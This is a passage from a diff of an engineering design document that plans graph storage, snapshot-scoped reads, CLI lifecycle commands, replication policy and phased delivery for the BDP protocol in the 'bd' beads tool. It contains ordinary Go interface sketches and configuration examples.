// BeadRecord = Bead + its complete ownedLinks expansion, assembled in + // the SAME snapshot. Collections return records too — for a Bead whose + // Type owns, the member is never elided from any projection (absent + // exactly when the Type owns nothing). Acceptance also asserts each + // inlined Link's type equals its entry key and source equals the + // containing Bead — mirroring the BDP parser's contextual laws. + // Plan-owned collection tests enforce all of it (the external matrix + // validates the schema but does not force the optional member's + // presence on every item). + Bead(ctx context.Context, id string) (graph.BeadRecord, error) + Link(ctx context.Context, id string) (graph.Link, error) + Beads(ctx context.Context, q CollectionQuery) (Page[graph.BeadRecord], error) + Links(ctx context.Context, q CollectionQuery) (Page[graph.Link], error) + IncidentLinks(ctx context.Context, bead string, d Direction) (Page[graph.Link], error) + Types(ctx context.Context) ([]graph.TypeDescriptor, error) +} +``` + +### The layering, in one picture + +```text +bd serve (HTTP/BDP) generated DTOs; error→Problem mapping + │ +ScopeResolver ← OUTER authority seam: picks workspace/store, + │ authorization view, and ONE ReadSnapshot +graphops.Scope (per snapshot) ← the "trait" + ├─ graphstore ← v0: S1 tables, the only realization + ├─ (unionscope + issueproj)← C-lane future, when Issues move into the graph store + └─ (tests, CLI later) +``` + +**ReadSnapshot is a first-class port**: one SQL transaction (or UOW unit) +backs all reads a request makes against the graph store. BDP cursors must +continue one logical projected snapshot; per-call `withReadTx` role reads +cannot provide that, so graph reads run their own snapshot-scoped queries. +Cursors bind (snapshot, view). Graph reads never call readiness roles and +never use writable "read-only command" opens (the defer-wake write is +exactly what a Read surface must not trigger). (Union cursors with per-leg +continuation are C-lane machinery, recorded in §5's historical record.) + +## 4. Thrust 2 — storage: additive, capability-resolved, no breaking change + +> **Superseded mechanisms (2026-09-02, W-arch v2).** The mechanisms this +> section proposes — `GraphCapable` as a separate optional interface, the +> `graphsource` resolvers, the `ReadSnapshot` lease, `backend/` aliases, +> and the `bd serve` optional graph field — are replaced by the house +> idiom in `BDP_GRAPH_ARCHITECTURE.md` §2a (role accessors on +> `storage.Storage`, `DBTX`-shaped shared bodies, per-call transactions +> asserting a store-owned authority witness, BDP rows mounted inside `httpapi`). +> The *rulings* this section serves are unchanged except where §9's +> "Amendments proposed by W-arch" block says otherwise. The text below is +> kept as the record of what was proposed and why. + +Not a bare assertion (review Blocker 3). One resolution policy with a +**typed** source — no `any` — and, per round 3, NO `UnwrapStore`: +`UnwrapStore` peels every `Unwrapper` including telemetry, which is exactly +what `bd serve` refuses ("never storage.UnwrapStore" — it performs one +concrete hook peel and keeps telemetry, `cmd/bd/serve.go:671`). Resolution +follows that model — targeted single-layer peels, each named in the result: + +```go +package graphsource // internal/storage/graphsource + +// graphops.GraphReadSource is what a plumbing stack must yield to serve +// graph reads: the snapshot opener plus the telemetry it must retain. +// (Full contract in "The storage interfaces, concretely" below: +// ErrGraphUnsupported = absence; any other error = operational failure.) +func ResolveGraphReadSource(s storage.Storage) (graphops.GraphReadSource, error) +func ResolveGraphReadSourceFromUOW(p uow.UnitOfWorkProvider) (graphops.GraphReadSource, error) +``` + +With regression tests mirroring `vc_recompute_test.go` for: hook+telemetry +chains (asserting telemetry RETAINED while exactly the hook layer peels), +the notifying UOW provider, and `bd serve`'s narrow role source. +(The resolver PAIR — `ResolveGraphReadSource` for the store arm, +`ResolveGraphReadSourceFromUOW` for the provider arm — is the name; P1 +uses both.) +Realization legs in tree — with the transport distinction the tree +enforces: **`bd serve` refuses embedded Dolt permanently** (its commit +protocol cannot satisfy the server's per-request atomicity contract, +`cmd/bd/serve.go:546`); it serves from server-Dolt/UOW **and registered +backends' store sources** (`serve.go:563`). **Embedded Dolt is a +storage-contract conformance leg, not a `bd serve` transport leg**; serving +BDP from an embedded workspace would need a separately ruled read-only +listener. (SQLite removed from the plan.) **And any registered provider +implementing the graph contract is a first-class leg** — proven by the same +conformance suite the Dolt realization must pass. Accordingly the graph +capability is part of the PUBLIC `backend/` contract from P1: `graphops` +types get public aliases, `GraphCapable` becomes a completeness-guard root, +and the graph suite is a conformance family from the start (ruling 9 flips +the earlier "in-tree-only until opened" hedge). + +Graph-store persistence (substrate S1): new `beads`/`links` tables in the normal +migration series, **plus the Type Descriptor store**: descriptors are +persisted rows (not compiled-in Go values), because every Read Scope must +advertise `types/` and mutation authorities must retain the pinned +descriptor contract closure. That means: descriptor bootstrap at graph +initialization, an operator installation mechanism for new Types, closure +validation with fingerprint retention on install, and acceptance coverage +in each phase (P1 persistence + serving, P2 the pinned Type scenarios, +P3 write-time contract validation). Revision minting gated on semantic +change (no-op preserves revision); owned-Link version coupling enforced in +the write transaction. +Where this plan says "ledger" it now means exactly one thing: the GRAPH-STORE +allocation/tombstone table written inside graph write transactions (the +journal-counter pattern the tree already demonstrates). Ruling 3's +condition is a contract obligation: testing whether a canonical ID was +ever allocated is a keyed point lookup — O(1) or O(log n) — never a scan; +the ledger is keyed by canonical URL. The deleted +read-time revision ledger does not return; no projection ledger exists +because no projection exists. + +### The storage interfaces, concretely + +**The level at which this is defined (ruling 9):** the graph contract lives +at the **normalized storage abstraction** — the `backend/`-level contract — +and any storage provider realizing it is the graph store for the Scopes it +holds. Everything below that names Dolt, `withReadTx`, `NewUOW`, or +`RunTxRead` is the **in-tree reference realization**, not the definition: +other providers (bts-rs's stores, out-of-tree backends) implement the same +contract and pass the same graph conformance suite. + +How the graph attaches to the existing storage architecture, member by +member — and what changes where: + +**What exists (verified):** + +```text +storage.Storage (interface, 28 role accessors) ← contract; adding a + IssueLifecycle() / IssueReader() / ... / Memories() required method BREAKS + ▲ implemented by out-of-tree stores +*dolt.DoltStore (concrete) + ▲ wrapped by (each embeds + forwards the interface) +HookFiringStore → telemetry.Storage → ... ← methods OUTSIDE the + ▲ or, separately embedded interface +uow.UnitOfWorkProvider (RunTxRead/RunTx) are NOT promoted + ▲ consumed by +cmd/bd/serve role-source table ← one concrete hook peel, + telemetry KEPT, never + storage.UnwrapStore +``` + +**What is added (and precisely what is not):** + +1. **`storage.Storage` does not change.** No new required method — the + documented breaking-change policy holds. The graph capability is a + separate, optional interface: + + ```go + package graphops + type Store = GraphReadSource // v0 alias: the read surface IS the + // store; write roles widen it in P3 + + package storage + type GraphCapable interface { + BeadGraph() (graphops.Store, error) // error = operational failure, + } // never "unsupported" + ``` + + (`graphops` owns `Store`, `GraphReadSource`, `ReadSnapshot`, and + `Scope`; the UOW adapter satisfies them by constructing a + `ReadSnapshot` over the transaction a direct `NewUOW` owns, answering + `graphops.Scope` queries from that one transaction.) + + `*dolt.DoltStore` implements it concretely. Exposure policy, settled: + **in-tree-only for v0** — out-of-tree implementation arrives only when + the contract is deliberately opened (claim 6), not by accident of an + exported interface. "Unsupported" and "broken" stay distinct all the + way up: resolution returns `(GraphReadSource, error)` with a sentinel + `ErrGraphUnsupported`; any other error is an operational failure and + must not be collapsed into absence. + +2. **Decorators do not forward it.** Forwarding through every wrapper is + the failure mode the tree already documents. Instead, resolution does + what `bd serve` already does — targeted peels, telemetry retained: + + ```go + package graphsource // internal/storage/graphsource — see placement below + + func ResolveGraphReadSource(s storage.Storage) (graphops.GraphReadSource, error) + // Peels the known hook layer, then — because telemetry's wrapper + // embeds the statically typed DoltStorage, so an inner BeadGraph + // method is NOT promoted through it — inspects THROUGH telemetry, + // asserts GraphCapable on the inner store, and explicitly re-wraps + // the returned graph source in the telemetry layer it peeled. Never + // storage.UnwrapStore. The result names every peeled/rewrapped + // layer; ErrGraphUnsupported means absence, anything else is failure. + func ResolveGraphReadSourceFromUOW(p uow.UnitOfWorkProvider) (graphops.GraphReadSource, error) + // The UOW access path CANNOT ride RunTxRead — it closes its unit of + // work before returning. OpenSnapshot instead takes ownership of a + // direct NewUOW; ReadSnapshot.Close performs the rollback/close. + ``` + + Graph reads carry the same telemetry issue reads carry — by explicit + re-wrap, not by promotion. + +3. **The one genuinely new storage primitive: the snapshot lease.** + Existing read helpers are per-call — `withReadTx` opens and closes a + transaction inside each role call, which is exactly why they cannot + serve BDP snapshot semantics. `GraphReadSource` therefore exposes: + + ```go + package graphops // owns Store, GraphReadSource, ReadSnapshot, Scope + + type GraphReadSource interface { + OpenSnapshot(ctx context.Context) (ReadSnapshot, error) + } + type ReadSnapshot interface { + Scope // unqualified: same package; all reads + Close(ctx context.Context) error // answer from ONE transaction + } + ``` + + The RESOLVERS live in a neutral assembly package, + `internal/storage/graphsource` — a SEPARATE package (not package + `storage`): it imports `storage`, `uow`, and `graphops`, and nothing + imports it back except composition roots (`bd serve`, tests). This is + forced, not stylistic: `uow` already imports `storage`, so placing the + provider-arm resolver in package `storage` itself would create a + `storage → uow → storage` cycle. `GraphCapable` stays in `storage` + (returning `graphops.Store`; `storage → graphops` is a leafward + import); the resolvers qualify every foreign type. + + A snapshot is request-scoped, and **`ScopeResolver` is its one owner**: + it selects workspace, authorization view, and opens the snapshot; the + handler receives and uses it; the resolver closes it when the response + is written. This is a new *lifetime* discipline, not a new engine + feature — the same Dolt/SQL transaction machinery `withReadTx` uses, + held open for the request instead of per call. Two P1 design items + with tests: pool interaction (a leaked snapshot must not pin a + connection indefinitely), and **detached, bounded close** — rollback + must run on a fresh bounded context, never the request context, which + may already be cancelled (the tree documents that rolling back on a + cancelled context burns the pinned connection). + +4. **Schema machinery: normal series, no special cases.** Graph tables + (beads, links, type descriptors, allocation/tombstone ledger) are + ordinary migrations in the existing series, subject to the existing + version gate (older binary refuses newer DB — §1's contract). No + changes to the migration framework itself; the ruling-13 fence triggers + are DDL in the same files, shipped through the unchanged runner (probed: + one multi-statement `Exec` creates `BEGIN … END` trigger bodies over the + tree's `multiStatements=true` DSN). + +5. **`bd serve` gets a separate OPTIONAL graph field, not a role-table + entry.** The existing role binding table is deliberately mandatory — + it aborts on any binding error, and the HTTP layer rejects partial + role sets — so BDP cannot join it as one more ordinary binding. + Instead: an optional graph source on the server config, populated at + assembly by the source-appropriate resolver (store arm or UOW provider + arm), with a conditional route-registration seam. `ErrGraphUnsupported` leaves BDP routes + unregistered (existing serve behavior exactly as before); an + operational error still aborts; and capability-present-but-no-Scope- + yet is a THIRD state with its own explicit representation — per + ruling 12 as amended by A2, `bd --graph-mode link serve` mints the Scope + on first serve under a configured URL and serves it honestly empty; plain + `bd serve` never mints and mounts only an already-minted held Scope; without a configured URL there + are no BDP routes — never conflated with capability absence. The optional field is populated via the source-appropriate + resolver (`ResolveGraphReadSource` for the store arm, + `ResolveGraphReadSourceFromUOW` for the provider arm — `serve.go` + assembles from both). + +6. **`backend/` (all providers): public from P1, precise about the + existing machinery.** Today `RunAll` never exercises the optional + capability families — `RunUnsupportedContract` proves their typed + refusals instead. The graph contract arrives as its own suite beside + them (the P1 graph-storage conformance suite) with a refusal contract + for non-capable stores; `GraphCapable` is a completeness-guard ROOT and + `graphops` types carry public aliases from P1, because providers other + than Dolt are first-class targets (ruling 9), not a later opening. + +7. **`issueops`, the journal, sync, and every legacy role: untouched.** + The graph store is a sibling under the same DoltStore, not a layer + over the issue roles — with the projection withdrawn, nothing in the + graph path calls them at all. + +### Lifecycle commands (ruling 12) + +> **Spelling as ruled 2026-09-07 (A2/A3/A6):** `bd bdp-serve` (now `bd --graph-mode link serve`) → +> `bd --graph-mode link serve` (the strict, minting command over the same +> `httpapi` server; `bd serve` mounts the BDP rows only when it holds an +> already-minted Scope); graph behavior is selected by the root flag +> `--graph-mode link|dependency`, never by a verb prefix; `bdp.scope_url` +> lives in tracked `config.yaml`, the per-workspace `link-graph.route` and +> `bdp.server` in untracked `config.local.yaml` (nothing in `metadata.json`). Detail: +> `BDP_GRAPH_CLI_AND_STORAGE_SPEC.md` Part A. + +Three commands, three responsibilities — the store, the Scope, and the +client: + +1. **`bd init` initializes the graph store** alongside everything it + initializes today: graph tables, the allocation/tombstone ledger, and the + Type Descriptor bootstrap, all against the normalized storage interfaces + (any provider). No separate `bd graph init`. A workspace therefore always + has a graph store; it does not yet have a *Scope*. +2. **`bd --graph-mode link serve` creates the BDP Scope on top of the store; `bd serve` + serves an already-minted Scope it holds** (as ruled 2026-09-07, + A2/A7/A9): on its first serve under a configured `bdp.scope_url` (ruling + 7a) `bd --graph-mode link serve` mints the Scope row, the `mint` ledger event, and the + built-in Type catalog in one **multi-phase, fenced** transaction (a shared + database: the dolt-ignored authority lease with its fence cell; a + configured remote — *deferred under A9*: fetch → ancestor check → scoped + commit → push), finalizes this workspace's + authority witness, and serves the Scope — honestly empty at birth, with + `beads/`, `links/`, and `types/` all present. Because the Scope URL is a + tracked project fact, **among serving commands, only `bd --graph-mode link serve` mints**: a plain `bd serve` on + an unminted store keeps the legacy surface up with a notice. BDP routes + are a conditional second table inside `internal/httpapi` behind the same + middleware, in v0 served only from SQL-server workspaces — the + unit-of-work leg (`bd serve` refuses embedded Dolt permanently; a + registered backend's store arm has no fence to offer, so its rows are + absent until it declares one). The mint runs as the spec's one staged startup sequence (shared read + → release → exclusive only when there is no Scope row → release → + shared serve). `bd serve` with no configured URL is + byte-identical to today; on a workspace that does not hold the authority + it keeps the legacy surface up with the BDP rows absent and a notice — + never a startup refusal on account of the graph. `bd --graph-mode link serve` refuses + (exit 2) in those cases. No development-mode URL derivation exists in + bd. (W2 decides whether `bd --graph-mode link serve` survives as the alias — default + yes; it is the serving minting path.) +3. **Client wiring — `bd init --bdp-server ` and `bd --graph-mode link client`** + (as ruled 2026-09-07, A6): one more `bd init` target, beside + `--server`, `--shared-server`, `--proxied-server`, `--team-server`, and + `--backend`, distinguished by rerouting ABOVE the normalized storage + abstraction (at the CLI): the link-mode read verbs become a BDP client of + the designated server. The per-workspace keys live in the untracked + `config.local.yaml`; the project fact lives in tracked `config.yaml`: + + ```yaml + # config.yaml (tracked) + bdp: + scope_url: https://beads.example/acme/ # what the authority mints/serves (7a) + # config.local.yaml (untracked, machine-specific; merged over config.yaml) + bdp: + # (link-graph.route: local | server, default local — the client route) + server: https://beads.example/acme/ # graph-verb target when client: server + ``` + + `bd init --bdp-server ` and `bd --graph-mode link client server --server ` + write `config.local.yaml`; generic `bd config set` refuses the + per-workspace keys with that guidance. Env: `BDP_SCOPE_URL` (7a) and + `BD_BDP_SCOPE_URL`; `BD_BDP_SERVER`; **`link-graph.route` is blocked from env** + like `backend`. The bearer token comes from a file only — + `BEADS_BDP_TOKEN_FILE` or a credentials-file section keyed by origin and + Scope path — never from an environment variable and never from a config + key. Precedence: env (where permitted) > `config.local.yaml` > + `config.yaml`; `metadata.json` carries nothing for the graph. `client` + is an explicit mode, never inferred from the presence of a URL. Issue + verbs are untouched. v0 routes graph verbs only. + +### Replication participation matrix (review High 4, corrected round 2) + +Each row is policy decided in P-1, not discovered in CI. "Byte-identical +legacy behavior" scopes to **legacy-only data and operations**; rows are +split by topology where the tree differs: + +| Surface | Legacy behavior (verified) | Graph-store policy (ruled; §9) | +| --- | --- | --- | +| Dolt push/pull (server + embedded) | rows travel; embedded pushes directly | graph rows travel identically | +| Merge settlement | `versioncontrolops/mergesettle.go` already settles metadata, dependencies, migrations, config, issues, labels, comments, and events, with seven-table FK-cascade repair — conflict dispatch is a hard-coded switch, separate from an always-considered FK-repair pass; NOTE `MergeWithStrategy` returns early on clean merges and plain `Merge` bypasses settlement entirely | graph settlement must be **centralized so every merge entry point runs it** (clean-merge early-returns and plain `Merge` included — enumerate or funnel the routes): identity/endpoint integrity, dangling-Link detection, owned-Link invariant validation. A pass can reject or quarantine invalid imported state; it CANNOT serialize two independently accepted `max`-violating writes after the fact — hence decision 9: BDP writes flow through one serving authority per Scope, and foreign-clone merges of graph tables are out-of-contract (quarantined on detection); **ruling 14 (2026-09-07) settles this row:** every SQL pull route fetches, inspects the eight graph tables against the tracking ref, and refuses a foreign or unexplained delta before merging; routes that cannot inspect first fall to the validator's revert; no graph-table conflict is auto-resolved and `--strategy` never touches one | +| Federation type-filtering | **server-topology-specific**; deletes `issues` rows by type | v0: graph tables ride federation **unfiltered, by decision** (rulings 9/14); a per-topology filter hook is post-v0, and filtering one endpoint must also drop/deny the Link (never emit a dangling edge) | +| Journal (frozen v0 vocabulary) | Issue/Dependency/Comment payloads only | **graph events are excluded**; a separate graph changefeed carries them; the frozen vocabulary is not extended | +| Export/JSONL (contract class) | contractual shapes | graph gets its own export lane; legacy shapes untouched | +| Backup / restore | whole-database state (a different contract class from export); a Dolt backup restore carries the working set, dolt-ignored tables included (probed) | ruling 11 as amended by A5 (ruled 2026-09-07): the installation-keyed authority witness (`.beads/graph-authority.local.json`) records the hash-chained ledger head; a restore keeps the file but the store no longer contains that head → refused until `bd --graph-mode link restore`, which shows continuity from a `bd --graph-mode link ledger snapshot` (recovery predicate) or rotates the Scope URL and epoch; providers DECLARE `LedgerDurability`; `bd backup restore` also marks the witness unverified | +| Wisps | private/transient; excluded from export/federation by default | **ruling 6:** not served in v0 (C-lane note) | + +## 5. Thrust 3 — Issues/Dependencies beside the graph + +### The seam decision (HISTORICAL — C-lane record; superseded for v0 by +the withdrawal below) + +What follows is preserved as design input for the C lane, not v0 scope. +Option A (projection port + union composite) over B (peer interfaces on the +structs), C (storage unification now), D (call-site switches) — with the +review's correction adopted: the union is the *representation* seam only, +subordinate to the outer authority seam, snapshot-scoped, and: + +- **Duplicate full Resource ID across legs is an integrity error, never + precedence.** The v1 "native first, then legacy" shadowing is withdrawn. +- **Namespace AND ledger — they answer different laws (round-2 + correction):** a reserved graph-store namespace prevents *collisions*; it does + nothing for *lifetime identity non-reuse* (a deleted projected Issue ID + must never be reassigned — BDP's no-URL-reassignment law survives + deletion and epoch changes). So: namespace disjointness for allocation, + PLUS a durable allocation/tombstone guarantee behind every exposed URL, + graph-store and projected — covering legacy import's same-ID UPSERT and + Dependency delete/recreate reuse. And an **eligibility policy for legacy + IDs** (P-1): an issue ID that is not a canonical BDP path segment is + omitted, mapped to a stable surrogate, or fails Scope projection — ruled, + not improvised (current validation checks prefix shape, not BDP grammar). +- **Cross-realization Links** (C-lane decision when projection returns): + if a graph Link may target a projected Issue, every legacy deletion + needs a graph coordinator hook (else dangling edges); if forbidden, the + Type constraints must say so. Moot in v0 — nothing legacy is served. +- Multi-repo routing stays where it is — `ScopeResolver` wraps the existing + owning-store resolution; the union never spans stores. + +### The substrate decision (SETTLED for v0: S1) + +S1 (new tables) is the v0 substrate — with the projection withdrawn there +is nothing for a chassis substrate to buy: S2's free-rider argument was +chassis sync for *legacy interop*, and v0 has none. The historical +scorecard stands as C-lane input: S2 fails conformance on three laws +(`depid` admits one edge per endpoint pair — no type, no multiplicity; +Dependencies carry no revision; dependency edits don't version the +source); S2-lite was the fallback only while a projection existed. + +**Current-source qualification (2026-09-09):** the dependency-writer statement +above describes that historical substrate. Jim's Phase 2 now versions the +referencing Issue when an outgoing dependency changes and captures its complete +outgoing dependency set. Its current limits and the BDP translation boundary +are recorded in §0a above; this progress does not turn Dependencies into +first-class BDP Links or reverse the ruled v0 projection withdrawal. + +### The Issue projection is withdrawn from v0 (round-5 conclusion) + +The conflict inventory in §2b is the full map; rounds 3–5 tested every +read-side fidelity mechanism against it, and each fell to tree +counterexamples: + +- **State tuples** (r3): label add→remove recreates the tuple; direct text + restoration moves only second-granularity `updated_at`. +- **Read-time witness ledgers** (r4): witness reads, not transitions — + legacy A→B→A between reads serves the old revision. +- **Complete-representation state hashes** (r5): `updated_at` is + second-precision `DATETIME` and the tree documents same-second ties, so + A→B→A within one second reuses the hash; `bd import --allow-stale` + deliberately restores old rows including `updated_at`; `bd sql` permits + arbitrary direct writes no witness can enumerate; merge resolution and + backup restore reinstate historical rows. +- **Birth-identity URLs** (r5): same-second recreation collides; import + accepts caller-supplied historical `created_at`; import-over-existing + does not converge `created_at` across replicas; rename A→B→A reactivates + the original URL; database restore resurrects old tuples. BDP's + never-reassign law cannot be met. +- **Type immutability** (r5): legacy `issue_type` is ordinarily mutable; + BDP declared Types are immutable. + +The historical round-5 assessment was: mutation-time witnessing — the only +remaining mechanism — would require instrumenting every legacy write path +including `bd sql`, which is +arbitrary SQL and cannot be completely instrumented even in principle. +The conclusion is structural, not incremental: **a store that permits +timestamp ties, stale restores, arbitrary SQL, and identity resurrection +cannot be projected into BDP's revision and identity laws by any read-side +mechanism.** Current-source qualification (2026-09-09, §0a): Jim's writer +now versions 21 of 34 listed live paths, including outgoing dependency edits; +this is mutation witnessing, distinct from the old `row_lock` survey. Unchanged +re-import currently mints, UOW can mint per repository write, and raw SQL, +restore and merge-settle remain outside that witness contract. This progress +does not prove complete BDP translation or change the historical conclusion +about read-side reconstruction. So v0 withholds the projection: + +- The v0 BDP Scope serves **graph beads and links only**. +- Issues keep their existing surfaces (CLI, REST v0, JSONL) untouched. +- Issues join the graph when storage unification (Option C) moves them + into the graph store — where operation-local revisions and durable + identity are properties of the write path, not reconstructions. The + union composite and this section's counterexample record are the design + input for that future lane. +- The `unionscope`/`issueproj` machinery drops out of v0 scope; the + authority seam (`ScopeResolver`: workspace, view, one ReadSnapshot) and + `GraphReadSource` remain — they serve the graph store. + +### The C lane: paths to Issues/Dependencies on the graph (informative) + +Operator direction (2026-09-02): the withdrawal stands for v0, and the C +lane should be sketched now. The round-3–5 counterexamples fix the shape of +the solution space: **uniform versioning requires that every mutation +either funnels through one write path or is completely observed at the +storage layer.** Read-side reconstruction is proven impossible. That yields +three paths: + +- **C1 — Funnel with a legacy compat shim** (the operator's sketch): Issues + and Dependencies become graph beads/links; the legacy surfaces (CLI + verbs, REST v0, JSONL, journal, sync) are reimplemented as a compat + adapter OVER the graph store, reproducing legacy behavior byte-for-byte. + Versioning is uniform because every mutation goes through the graph store's + write path. The crux is what "keep the current code path" means at the + storage layer: if legacy code keeps writing legacy TABLES, the bypasses + persist and uniformity fails; so C1 means legacy *behavior* preserved + over graph *storage* — and the hard cases are exactly the round-5 + killers re-specified deliberately: `bd sql` (verification task: whether + Dolt supports legacy-compatible updatable views that can route DML + through graph revision/tombstone semantics — else direct SQL is + re-scoped), import `--allow-stale` (becomes a versioned operation), + backup/restore (restores history, not just state; decision 11). The + wisp precedent (plane routing at storage, surfaces unchanged) is the + house style for this move. +- **C2 — Observe: a complete mutation feed at the storage layer**: legacy + tables remain the record for legacy surfaces; a storage-level observer — + DB triggers on the legacy tables feeding a transition log in the same + transaction — would give the graph per-operation revisions and + tombstones without touching legacy code paths, and would be the only + observation variant that survives round 5 IF the following verification + tasks all pass (the original C2 survey did not establish them): (a) Dolt + trigger availability and transactional semantics; (b) whether direct `bd sql` DML actually + fires them (noting `bd sql` is unavailable in embedded mode and runs via + direct SQL-server or proxied-server paths — and UOW is an access path, + not a third storage engine); (c) trigger-row behavior under replication, + merge, and restore; (d) Scope URL/epoch handling after restore + (decision 11). Current-source qualification (2026-09-09, §0a): the graph + fence probes and Jim's application-level version writer are later evidence + with their own scopes; neither proves this complete legacy observer. Build + on the current writer/inventory rather than repeating a claim of no mutation + witnessing; raw SQL, restore and merge-settle coverage still needs proof. +- **C3 — Cutover**: one-time migration, graph store becomes the only + store, legacy tables dropped or frozen read-only. Maximum uniformity, + no dual bookkeeping, maximum one-shot risk; `bd sql` compat ends or + becomes views. Realistic only after C1's compat adapter exists and has + soaked — C3 is C1 minus the legacy tables, not an alternative to it. + +Sequencing implication: C1 and C3 share the compat-adapter investment; C2 +is the only path that leaves legacy storage untouched. A future C-lane +ruling chooses funnel (C1→C3) vs observe (C2) — and none of it blocks or +changes v0. + +## 6. Addressing + +One workspace = one Scope. Scope URL scheme is a P-1 decision (config key +vs derived). Graph-bead IDs mint under BDP creation-time rules (supplied +multi-segment or generated flat, reject-don't-trim) against the graph-store +allocation/tombstone ledger. No legacy IDs are served in v0. + +## 7. Phasing (re-sequenced per review; each phase exits green) + +> **Names in this section are superseded** (`GraphCapable`, +> `GraphReadSource`, `graphsource`, `bd bdp-serve` (now `bd --graph-mode link serve`), `bd bead`/`bd link` +> verbs): read them through `BDP_GRAPH_ARCHITECTURE.md` §2. Phase +> *boundaries* stand: P0 contracts + pinned wire, P1 storage (roles, +> bodies, migrations, conformance; the replication/merge ADR is a P1 +> gate), P2 serving (BDP rows inside `httpapi`; collection routes after the +> cursor ADR), P3 writes. **P0 is open (A1–A9 and rulings 13–14 ruled 2026-09-07).** + +- **P-1 — Decisions and pins (no code):** charter ADR; ratify the + projection withdrawal (v0 Scope = graph store only); Scope URL/identity; + graph-store allocation/tombstone design; serving authority; replication + matrix rows; auth-view mapping for bearer-token reality; + listener/authority-semantics choice. (The BDP pin is already written in + §0.) *Exit: every row ruled by Donna, recorded in this doc.* +- **P0 — Contracts:** wire DTOs held to the pinned schema by tests (hand-written, Part D.3); immutable + domain values (`Properties`, `Ref` sum, records); pure validators; typed + error vocabulary; the three ruling-13 verification rows — **answered + 2026-09-07: PASS / PASS-WITH-RULE / PASS-WITH-RULE** + (`engdocs/BDP_P0_VERIFICATION_ROWS.md` on the P0 branch; the fence + ships, with the rules spec B3/B4 now record). *Exit: model laws 100% + table-tested; DTO round-trip against pinned schema fixtures; the three + rows answered.* **Met against the historical §0 pin on 2026-09-07** on `janet-beadgraph-p0` (council 11: + three reviewers, all findings folded; graphops 100% statement coverage; + bdpwire 94%). This is historical completion only; §0a and the owner gates + below govern current-wire completion and later serving claims. Contracts-only + P0 promotion must name that scope and its remaining gates; it is not a graph + capability/readiness or upstream merge grant. +- **P1 — Graph read storage (S1):** the replication/merge ADR first + (ruling 14: `engdocs/BDP_GRAPH_REPLICATION_ADR.md`, council-reviewed; no + graph migration merges before it); record the A10 solo mint trigger and + workspace-gate ↔ lease-predicate mapping (architecture §2b) before wiring + the embedded leg; then tables + migrations (descriptor + store and the ruling-13 fence triggers included); typed snapshot-source resolution (`GraphReadSource`) + with single-request snapshot consistency and the zero-legacy-writes + regression (defer-wake); the resolver pair across the storage legs — + `ResolveGraphReadSource` for server/embedded Dolt (embedded as + storage-contract leg), `ResolveGraphReadSourceFromUOW` for the UOW + access path — with decorator regression tests; an internal, non-BDP + bootstrap/fixture write API (the only writer until P3) enforcing the + allocation/tombstone ledger; replication-matrix gates. *Exit: a NEW + graph-storage conformance suite — defined in this phase under + `backend/conformance`, enumerating the storage contract (snapshot + isolation, ordering, ledger enforcement, descriptor persistence) — + green on all legs (descriptor persistence AND inventory serving + included); cross-request cursor stability is explicitly NOT a P1 + claim.* +- **P2 — Protocol Read over the graph store:** snapshot-bound cursors — + including the **cross-request continuation mechanism** BDP requires + (later requests continue the same selected set, projection, and + revisions): a durable snapshot registry, materialized result sets, or + Dolt `AS OF` identity surviving through cursor expiry — chosen by ADR in + this phase; BDP handler through the existing middleware path + (auth/project/deadline semantics preserved); run the external BDP Read + matrix **deliberately re-pinned under §0** as a target. *Exit: that + successor matrix green, the applicable owner gates below complete, with its + own provenance split honored — packaged rows proven at the packaged + public boundary, self-certified in-process rows via the in-process lane + and labeled as such (the pinned artifact is explicit that they are not + black-box conformance) — plus a beads-owned public-boundary + cursor-stability test across requests.* +- **P3 — Writes and CLI, gated on its own ADR AND on upstream spec + artifacts:** the pinned write-profile envelope (an owned-Link mutation's + result must also report the source Bead's resulting revision), the + owned-Link Event delta, AND the sequence/idempotency envelope schemas, + problem rows at the reviewed write-profile pin recorded in §0 before P3. + At the historical §0a draft pins, #19 already has + [`packages/conformance/catalog/read-update-v1.json`](https://github.com/gastownhall/bdp/blob/06ebabdb391d8ea730295f4e01ed00bc1206fe38/packages/conformance/catalog/read-update-v1.json) + and illustrative [`fixtures/read-update/`](https://github.com/gastownhall/bdp/tree/06ebabdb391d8ea730295f4e01ed00bc1206fe38/fixtures/read-update); + #20 has [`packages/conformance/catalog/transactional-v1.json`](https://github.com/gastownhall/bdp/blob/5c3f3b10a2edbb77d914b7260cdf035008fc34c7/packages/conformance/catalog/transactional-v1.json) + and illustrative [`fixtures/transactional/`](https://github.com/gastownhall/bdp/tree/5c3f3b10a2edbb77d914b7260cdf035008fc34c7/fixtures/transactional). + These are catalog metadata and illustrations, not executable write matrices + or observed runtime evidence; those remain pending at these pins. The + shared HTTP ACKs are materialized in merged #20; this phase must adopt + their reviewed result and supply its own runtime evidence. + Profiles are **Scope-wide** + (uniformity law), and the Event-delta gate binds exactly the profile + that has Events: a Scope containing owning Types cannot advertise the + **Transactional** profile until the owned-Link Event delta exists — + Read+Update has no Events and is not blocked by it — and this is a + Scope-level gate, not a per-Type advertisement. Write tests require: create/property-update + mint fresh Link AND source revisions; **deletion mints nothing for the + deleted Link** — its result reports the deleted identity plus the + source's fresh revision; the deleted identity carries the Link's final + live revision, agreeing with `DeletedData` and changefeed tombstones + ([#20 Mutation results](https://github.com/gastownhall/bdp/blob/5c3f3b10a2edbb77d914b7260cdf035008fc34c7/docs/specs/bdp.md#L3328-L3347)); target revision + unchanged throughout; both surviving revisions preserved on semantic + no-op. Then tombstones, + endpoint constraints, replication of writes; only then + `bd bead`/`bd link` verbs. *Exit: the pinned write-profile conformance + artifacts green when they exist upstream, plus beads-owned transaction, + identity/non-reuse, deletion-result, installed-Type-contract + validation, and replication tests at the public boundary.* + +### Current-wire and profile adoption gates (2026-09-09) + +Owners below are phase responsibilities within this plan (janet's graph work); +BDP owns the upstream source/evidence products. A row is an exit condition, +not evidence that work has run unless a dated satisfaction record is stated. +The first three exits are satisfied at the §0 `19923f5b` adoption; they remain +prerequisites for a later repin. Preserve the historical P0 result above. + +| Work / owner | Phase and prerequisite | Required exit before the corresponding claim | +| --- | --- | --- | +| Read successor pin — P0 wire owner | P0 current-wire completion; reviewed upstream Read cohort | Satisfied at the §0 `19923f5b` adoption. On subsequent repins: record the selected spec/bundle/projection and matrix pins in §0, honoring #24's named projection and actual successor provenance. Never relabel old observations or import the whole TX bundle as Read. | +| Wire parity — P0 wire owner | Same P0 successor adoption | Satisfied at the §0 `19923f5b` adoption. On subsequent repins: update vendored provenance, bundle, examples, fixtures, matrix references and DTO parity together; replace the obsolete wildcard-rejection tripwire with the successor's applicable 